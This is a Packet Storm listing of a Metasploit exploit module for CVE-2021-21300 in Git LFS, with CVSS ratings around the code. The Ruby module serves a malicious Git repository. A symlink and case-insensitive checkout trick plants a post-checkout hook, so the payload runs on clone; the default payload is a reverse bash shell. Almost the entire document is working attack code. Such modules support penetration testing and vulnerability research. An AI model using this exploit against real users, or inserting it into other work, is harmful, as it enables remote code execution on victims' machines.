Lucene search

K
packetstormShelby PacePACKETSTORM:163978
HistoryAug 31, 2021 - 12:00 a.m.

Git LFS Clone Command Execution

2021-08-3100:00:00
Shelby Pace
packetstormsecurity.com
150

7.5 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

HIGH

Privileges Required

NONE

User Interaction

REQUIRED

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H

5.1 Medium

CVSS2

Access Vector

NETWORK

Access Complexity

HIGH

Authentication

NONE

Confidentiality Impact

PARTIAL

Integrity Impact

PARTIAL

Availability Impact

PARTIAL

AV:N/AC:H/Au:N/C:P/I:P/A:P

`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
include Msf::Exploit::Git  
include Msf::Exploit::Git::SmartHttp  
include Msf::Exploit::Git::Lfs  
include Msf::Exploit::Remote::HttpServer  
include Msf::Exploit::FileDropper  
  
def initialize(info = {})  
super(  
update_info(  
info,  
'Name' => 'Git LFS Clone Command Exec',  
'Description' => %q{  
Git clients that support delay-capable clean / smudge  
filters and symbolic links on case-insensitive file systems are  
vulnerable to remote code execution while cloning a repository.  
  
Usage of clean / smudge filters through Git LFS and a  
case-insensitive file system changes the checkout order  
of repository files which enables the placement of a Git hook  
in the `.git/hooks` directory. By default, this module writes  
a `post-checkout` script so that the payload will automatically  
be executed upon checkout of the repository.  
},  
'License' => MSF_LICENSE,  
'Author' => [  
'Johannes Schindelin', # Discovery  
'Matheus Tavares', # Discovery  
'Shelby Pace' # Metasploit module  
],  
'References' => [  
[ 'CVE', '2021-21300' ],  
[ 'URL', 'https://seclists.org/fulldisclosure/2021/Apr/60' ],  
[ 'URL', 'https://twitter.com/Foone/status/1369500506469527552?s=20' ]  
],  
'DisclosureDate' => '2021-04-26',  
'Platform' => [ 'unix' ],  
'Arch' => ARCH_CMD,  
'Targets' => [  
[  
'Git for MacOS, Windows',  
{  
'Platform' => [ 'unix' ],  
'Arch' => ARCH_CMD,  
'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_bash' }  
}  
]  
],  
'DefaultTarget' => 0,  
'Notes' => {  
'Stability' => [ CRASH_SAFE ],  
'Reliability' => [ REPEATABLE_SESSION ],  
'SideEffects' => [ ARTIFACTS_ON_DISK, SCREEN_EFFECTS ]  
}  
)  
)  
  
register_options(  
[  
OptString.new('GIT_URI', [ false, 'The URI to use as the malicious Git instance (empty for random)', '' ])  
]  
)  
  
deregister_options('RHOSTS', 'RPORT')  
end  
  
def exploit  
setup_repo_structure  
super  
end  
  
def setup_repo_structure  
link_content = '.git/hooks'  
link_name = Rex::Text.rand_text_alpha(8..12).downcase  
link_obj = GitObject.build_blob_object(link_content)  
  
dir_name = link_name.upcase  
git_attr = '.gitattributes'  
  
git_hook = 'post-checkout'  
@hook_payload = "#!/bin/sh\n#{payload.encoded}"  
ptr_file = generate_pointer_file(@hook_payload)  
  
# need to initially send the pointer file  
# then send the actual object when Git LFS requests it  
git_hook_ptr = GitObject.build_blob_object(ptr_file)  
  
git_attr_content = "#{dir_name}/#{git_hook} filter=lfs diff=lfs merge=lfs"  
git_attr_obj = GitObject.build_blob_object(git_attr_content)  
  
sub_file_content = Rex::Text.rand_text_alpha(0..150)  
sub_file_name = Rex::Text.rand_text_alpha(8..12)  
sub_file_obj = GitObject.build_blob_object(sub_file_content)  
  
register_dir_for_cleanup('.git')  
register_files_for_cleanup(git_attr, link_name)  
  
# create subdirectory which holds payload  
sub_tree =  
[  
{  
mode: '100644',  
file_name: sub_file_name,  
sha1: sub_file_obj.sha1  
},  
{  
mode: '100755',  
file_name: git_hook,  
sha1: git_hook_ptr.sha1  
}  
]  
  
sub_tree_obj = GitObject.build_tree_object(sub_tree)  
  
# root of repository  
tree_ent =  
[  
{  
mode: '100644',  
file_name: git_attr,  
sha1: git_attr_obj.sha1  
},  
{  
mode: '040000',  
file_name: dir_name,  
sha1: sub_tree_obj.sha1  
},  
{  
mode: '120000',  
file_name: link_name,  
sha1: link_obj.sha1  
}  
]  
tree_obj = GitObject.build_tree_object(tree_ent)  
commit = GitObject.build_commit_object(tree_sha1: tree_obj.sha1)  
  
@git_objs =  
[  
commit, tree_obj, sub_tree_obj,  
sub_file_obj, git_attr_obj, git_hook_ptr,  
link_obj  
]  
  
@refs =  
{  
'HEAD' => 'refs/heads/master',  
'refs/heads/master' => commit.sha1  
}  
end  
  
def create_git_uri  
"/#{Faker::App.name.downcase}.git".gsub(' ', '-')  
end  
  
def primer  
@git_repo_uri = datastore['GIT_URI'].empty? ? create_git_uri : datastore['GIT_URI']  
@git_addr = URI.parse(get_uri).merge(@git_repo_uri)  
print_status("Git repository to clone: #{@git_addr}")  
hardcoded_uripath(@git_repo_uri)  
hardcoded_uripath("/#{Digest::SHA256.hexdigest(@hook_payload)}")  
end  
  
def on_request_uri(cli, req)  
if req.uri.include?('git-upload-pack')  
request = Msf::Exploit::Git::SmartHttp::Request.parse_raw_request(req)  
case request.type  
when 'ref-discovery'  
response = send_refs(request)  
when 'upload-pack'  
response = send_requested_objs(request)  
else  
fail_with(Failure::UnexpectedReply, 'Git client did not send a valid request')  
end  
else  
response = handle_lfs_objects(req)  
unless response.code == 200  
cli.send_response(response)  
fail_with(Failure::UnexpectedReply, 'Failed to respond to Git client\'s LFS request')  
end  
end  
  
cli.send_response(response)  
end  
  
def send_refs(req)  
fail_with(Failure::UnexpectedReply, 'Git client did not perform a clone') unless req.service == 'git-upload-pack'  
  
response = get_ref_discovery_response(req, @refs)  
fail_with(Failure::UnexpectedReply, 'Failed to build a proper response to the ref discovery request') unless response  
  
response  
end  
  
def send_requested_objs(req)  
upload_pack_resp = get_upload_pack_response(req, @git_objs)  
unless upload_pack_resp  
fail_with(Failure::UnexpectedReply, 'Could not generate upload-pack response')  
end  
  
upload_pack_resp  
end  
  
def handle_lfs_objects(req)  
git_hook_obj = GitObject.build_blob_object(@hook_payload)  
  
case req.method  
when 'POST'  
print_status('Sending payload data...')  
response = get_batch_response(req, @git_addr, git_hook_obj)  
fail_with(Failure::UnexpectedReply, 'Client request was invalid') unless response  
when 'GET'  
print_status('Sending LFS object...')  
response = get_requested_obj_response(req, git_hook_obj)  
fail_with(Failure::UnexpectedReply, 'Client sent invalid request') unless response  
else  
fail_with(Failure::UnexpectedReply, 'Unable to handle client\'s request')  
end  
  
response  
end  
end  
`

7.5 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

HIGH

Privileges Required

NONE

User Interaction

REQUIRED

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H

5.1 Medium

CVSS2

Access Vector

NETWORK

Access Complexity

HIGH

Authentication

NONE

Confidentiality Impact

PARTIAL

Integrity Impact

PARTIAL

Availability Impact

PARTIAL

AV:N/AC:H/Au:N/C:P/I:P/A:P